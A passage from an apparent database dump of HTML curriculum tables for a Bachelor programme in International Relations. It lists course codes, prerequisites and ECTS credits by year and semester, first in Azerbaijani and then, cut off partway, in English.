<td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\">&nbsp;</td>\r\n  <td><strong><em>Ümumi Kredit Sayı</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"text-align:center\"><strong><em>32</em></strong></td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td><strong><em>Ümumi Kredit Sayı</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"text-align:center\"><strong><em>32</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"9\" height=\"22\" style=\"text-align:center\"><strong>2-ci kurs</strong></td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"4\" height=\"22\" class=\"xl120\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;height:16.5pt\"\"=\"\"><strong><em>Payız Semestri</em></strong></td>\r\n  <td style=\"background-color:#993366;color:#ffffff\"><strong><em>&nbsp;</em></strong></td>\r\n  <td colspan=\"4\" class=\"xl123\" width=\"535\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;width:402pt\"\"=\"\"><strong><em>Yaz Semestri</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\"><em>Kodlar</em></td>\r\n  <td><em>Fənlər</em></td>\r\n  <td><em>Prerekvizit</em></td>\r\n  <td><em>AKTS</em></td>\r\n  <td><em>&nbsp;</em></td>\r\n  <td><em>Kodlar</em></td>\r\n  <td><em>Fənlər</em></td>\r\n  <td><em>Prerekvizit</em></td>\r\n  <td><em>AKTS</em></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">ENGL103</td>\r\n  <td>Akademik İngilis dili</td>\r\n  <td>ENGL102</td>\r\n  <td style=\"text-align:center\">8</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR216</td>\r\n  <td>İxtisas yönümlü İngilis dili</td>\r\n  <td>ENGL103</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">AZLL105</td>\r\n  <td>Azərbaycan Ədəbiyyatı</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR251</td>\r\n  <td>Beynəlxalq Təşkilatlar</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>Humanitar Elmlər</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR250</td>\r\n  <td>Beynəlxalq Münasibətlər Tarixi</td>\r\n  <td>AZH150</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>Seçmə fənn</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>HIST394</td>\r\n  <td>Türk Xalqları Tarixi</td>\r\n  <td>AZH150</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>Seçmə Xarici dil-1(Avropa dilləri)</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Sosial Elmlər</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Seçmə Xarici dil-2(Avropa dilləri)</td>\r\n  <td>Seçmə dil-1</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\">&nbsp;</td>\r\n  <td><strong><em>Ümumi Kredit Sayı</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"text-align:center\"><strong><em>32</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>Ümumi Kredit Sayı</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"text-align:center\"><strong><em>36</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"9\" height=\"22\" style=\"text-align:center\"><strong>3-cü kurs</strong></td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"4\" height=\"22\" class=\"xl120\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;height:16.5pt\"\"=\"\"><strong><em>Payız Semestri&nbsp;</em></strong></td>\r\n  <td style=\"background-color:#993366;color:#ffffff\"><strong><em>&nbsp;</em></strong></td>\r\n  <td colspan=\"4\" class=\"xl123\" width=\"535\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;width:402pt\"\"=\"\"><strong><em>Yaz Semestri</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\"><em>Kodlar</em></td>\r\n  <td><em>Fənlər</em></td>\r\n  <td><em>Prerekvizit</em></td>\r\n  <td><em>AKTS</em></td>\r\n  <td><em>&nbsp;</em></td>\r\n  <td><em>Kodlar</em></td>\r\n  <td><em>Fənlər</em></td>\r\n  <td><em>Prerekvizit</em></td>\r\n  <td><em>AKTS</em></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR300</td>\r\n  <td>Beynəlxalq Münasibətlər Nəzəriyyəsi</td>\r\n  <td>PSIR110</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR351</td>\r\n  <td>Azərbaycanın Xarici Siyasəti</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR301</td>\r\n  <td>Müasir Diplomatiya</td>\r\n  <td>PSIR250</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR352</td>\r\n  <td>Beynəlxalq Siyasi İqtisadiyyat</td>\r\n  <td>PSIR303</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR303</td>\r\n  <td>İqtisadiyyat</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR355</td>\r\n  <td>Müasir Beynəlxalq Münasibətlərdə Enerji Diplomatiyası</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR304</td>\r\n  <td>Beynəlxalq İctimai Hüquq</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR356</td>\r\n  <td>Konfliktologiya</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>Seçmə fənn</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td><br></td>\r\n  <td>Elm və Texnologiya</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>Seçmə fənn</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\">&nbsp;</td>\r\n  <td><strong><em>Ümumi Kredit Sayı</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"text-align:center\"><strong><em>36</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>Ümumi Kredit Sayı</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"text-align:center\"><strong><em>30</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"9\" height=\"22\"><div style=\"text-align:center\"><strong>4-cü kurs</strong></div></td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"4\" height=\"22\" class=\"xl120\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;height:16.5pt\"\"=\"\"><strong><em>Payız Semestri</em></strong></td>\r\n  <td style=\"background-color:#993366;color:#ffffff\"><strong><em>&nbsp;</em></strong></td>\r\n  <td colspan=\"4\" class=\"xl123\" width=\"535\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;width:402pt\"\"=\"\"><strong><em>Yaz Semestri</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\"><em>Kodlar</em></td>\r\n  <td><em>Fənlər</em></td>\r\n  <td><em>Prerekvizit</em></td>\r\n  <td><em>AKTS</em></td>\r\n  <td><em>&nbsp;</em></td>\r\n  <td><em>Kodlar</em></td>\r\n  <td><em>Fənlər</em></td>\r\n  <td><em>Prerekvizit</em></td>\r\n  <td><em>AKTS</em></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR403</td>\r\n  <td>Siyasi və İqtisadi Coğrafiya</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR450</td>\r\n  <td>Müqayisəli Siyasət</td>\r\n  <td>PSIR110</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR405</td>\r\n  <td>Azərbaycan və Xarici Ölkələrin Siyasi Sistemləri</td>\r\n  <td>PSIR351</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR451</td>\r\n  <td>Müasir İnteqrasiya Prosesləri</td>\r\n  <td>PSIR301</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"42\">\r\n  <td height=\"42\">PSIR404</td>\r\n  <td width=\"300\">Azərbaycan Milli Təhlükəsizliyinin Əsasları</td>\r\n  <td width=\"91\">&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR500</td>\r\n  <td>Təcrübə</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR400</td>\r\n  <td>Siyasi Elmlərdə Tədqiqat Metodları</td>\r\n  <td><br></td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Seçmə fənn</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>Seçmə fənn</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Seçmə fənn</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>Seçmə fənn</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\">&nbsp;</td>\r\n  <td><strong><em>Ümumi Kredit Sayı</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"text-align:center\"><strong><em>36</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>Ümumi Kredit Sayı</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"text-align:center\"><strong><em>30</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\"></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\"></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td><strong>Ümumi Kredit Sayı</strong></td>\r\n  <td><strong>&nbsp;</strong></td>\r\n  <td style=\"text-align:center\"><strong>264</strong></td>\r\n </tr></tbody></table>'),(6154,3503,'en','International Relations','International Relations','<br><h3 style=\"text-align:center\"><br></h3><h3 style=\"text-align:justify\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Bachelor Program in International Relations</h3><br><br><table cellpadding=\"0\" cellspacing=\"0\" width=\"1105\" style=\"\" border-collapse:collapse;width:830pt\";border-width:1px;border-style:solid\"=\"\">\r\n <tbody><tr height=\"22\">\r\n  <td colspan=\"9\" height=\"22\" class=\"xl129\" width=\"1105\" style=\"text-align: center;\" height:16.5pt;width:830pt\"\"=\"\"><strong>1st Year</strong></td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"4\" height=\"22\" class=\"xl131\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;height:16.5pt\"\"=\"\"><strong><em>Fall Semester&nbsp;</em></strong></td>\r\n  <td style=\"background-color:#993366;color:#ffffff\"><strong><em>&nbsp;</em></strong></td>\r\n  <td colspan=\"4\" class=\"xl134\" width=\"535\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;width:402pt\"\"=\"\"><strong><em>Spring Semester</em>&nbsp;</strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">Code</td>\r\n  <td>Courses&nbsp;</td>\r\n  <td>Prerequisite</td>\r\n  <td>ECTS</td>\r\n  <td>&nbsp;</td>\r\n  <td>Code</td>\r\n  <td>Courses</td>\r\n  <td>Prerequisite</td>\r\n  <td>ECTS</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">ENGL101</td>\r\n  <td>English Foundations-1</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">8</td>\r\n  <td>&nbsp;</td>\r\n  <td>ENGL102</td>\r\n  <td>English Foundations-2</td>\r\n  <td>ENGL101</td>\r\n  <td style=\"text-align:center\">8</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR110</td>\r\n  <td>Introduction to\r\n  Political Science</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>AZLL101</td>\r\n  <td>Azerbaijani Language</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">AZH150</td>\r\n  <td>History of Azerbaijan</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>AZC101</td>\r\n  <td>Azerbaijani\r\n  Culture&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"38\">\r\n  <td height=\"38\">CMS101</td>\r\n  <td width=\"300\">Introduction\r\n  to Computer Science(Science and Technology)</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td><br></td>\r\n  <td>Life Science</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>Social Science</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Humanities</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\">&nbsp;</td>\r\n  <td>Total Credits</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">32</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Total Credits</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">32</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"9\" height=\"22\" style=\"text-align:center\"><strong>2nd Year</strong></td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"4\" height=\"22\" class=\"xl131\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(204, 204, 204);\" border-right:1.0pt=\"\" solid=\"\" black;height:16.5pt\"\"=\"\"><strong><em style=\"color:#ffffff\">Fall Semester&nbsp;</em></strong></td>\r\n  <td style=\"background-color:#993366;color:#cccccc\"><strong><em>&nbsp;</em></strong></td>\r\n  <td colspan=\"4\" class=\"xl134\" width=\"535\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(204, 204, 204);\" border-right:1.0pt=\"\" solid=\"\" black;width:402pt\"\"=\"\"><strong><em style=\"color:#ffffff\">Spring Semester&nbsp;</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\"><em>Code</em></td>\r\n  <td><em>Courses&nbsp;</em></td>\r\n  <td><em>Prerequisite</em></td>\r\n  <td><em>ECTS</em></td>\r\n  <td><em>&nbsp;</em></td>\r\n  <td><em>Code</em></td>\r\n  <td><em>Courses</em></td>\r\n  <td><em>Prerequisite</em></td>\r\n  <td><em>ECTS</em></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">ENGL103</td>\r\n  <td>Academic English</td>\r\n  <td>ENGL102</td>\r\n  <td style=\"text-align:center\">8</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR216</td>\r\n  <td>English for Special\r\n  Purposes</td>\r\n  <td>ENGL103</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">AZLL105</td>\r\n  <td>Azerbaijani\r\n  Literature</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR251</td>\r\n  <td>International\r\n  Organizations</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>Humanities</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR250</td>\r\n  <td>History of\r\n  International Relations</td>\r\n  <td>AZH150</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>Major Elective</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>HIST394</td>\r\n  <td>History of the Turkic\r\n  Nations</td>\r\n  <td>AZH150</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>Second Foreign\r\n  Language-1(European Languages)</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Social Science</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Second Foreign\r\n  Language-2 (European Languages)</td>\r\n  <td>Second language-1</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\">&nbsp;</td>\r\n  <td><strong><em>Total Credits</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"text-align:center\"><strong><em>32</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>Total Credits</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"text-align:center\"><strong><em>36</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"9\" height=\"22\" style=\"text-align:center\"><strong>3rd Year</strong></td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"4\" height=\"22\" class=\"xl131\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;height:16.5pt\"\"=\"\"><strong><em>Fall Semester&nbsp;</em></strong></td>\r\n  <td style=\"background-color:#993366;color:#ffffff\"><strong><em>&nbsp;</em></strong></td>\r\n  <td colspan=\"4\" class=\"xl134\" width=\"535\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;width:402pt\"\"=\"\"><strong><em>Spring Semester&nbsp;</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\"><em>Code</em></td>\r\n  <td><em>Courses</em></td>\r\n  <td><em>Prerequisite</em></td>\r\n  <td><em>ECTS</em></td>\r\n  <td><em>&nbsp;</em></td>\r\n  <td><em>Code</em></td>\r\n  <td><em>Courses</em></td>\r\n  <td><em>Prerequisite</em></td>\r\n  <td><em>ECTS</em></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR300</td>\r\n  <td>Theories of\r\n  International Relations</td>\r\n  <td>PSIR110</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR351</td>\r\n  <td>Foreign Policy of\r\n  Azerbaijan</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR301</td>\r\n  <td>Modern Diplomacy</td>\r\n  <td>PSIR250</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR352</td>\r\n  <td>International\r\n  Political Economy</td>\r\n  <td>PSIR303</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR303</td>\r\n  <td>Economics</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR355</td>\r\n  <td>Energy Diplomacy in\r\n  Contemporary IR</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR304</td>\r\n  <td>Public International\r\n  Law</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR356</td>\r\n  <td>Conflictology</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>Major Elective</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td><br></td>\r\n  <td>Science and Technology</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>Major Elective</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\">&nbsp;</td>\r\n  <td><strong><em>Total Credits</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"text-align:center\"><strong><em>36</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>Total Credits</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"text-align:center\"><strong><em>30</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"9\" height=\"22\" style=\"text-align:center\"><strong>4th Year</strong></td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"4\" height=\"22\" class=\"xl131\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;height:16.5pt\"\"=\"\"><strong><em>Fall Semester&nbsp;</em></strong></td>\r\n 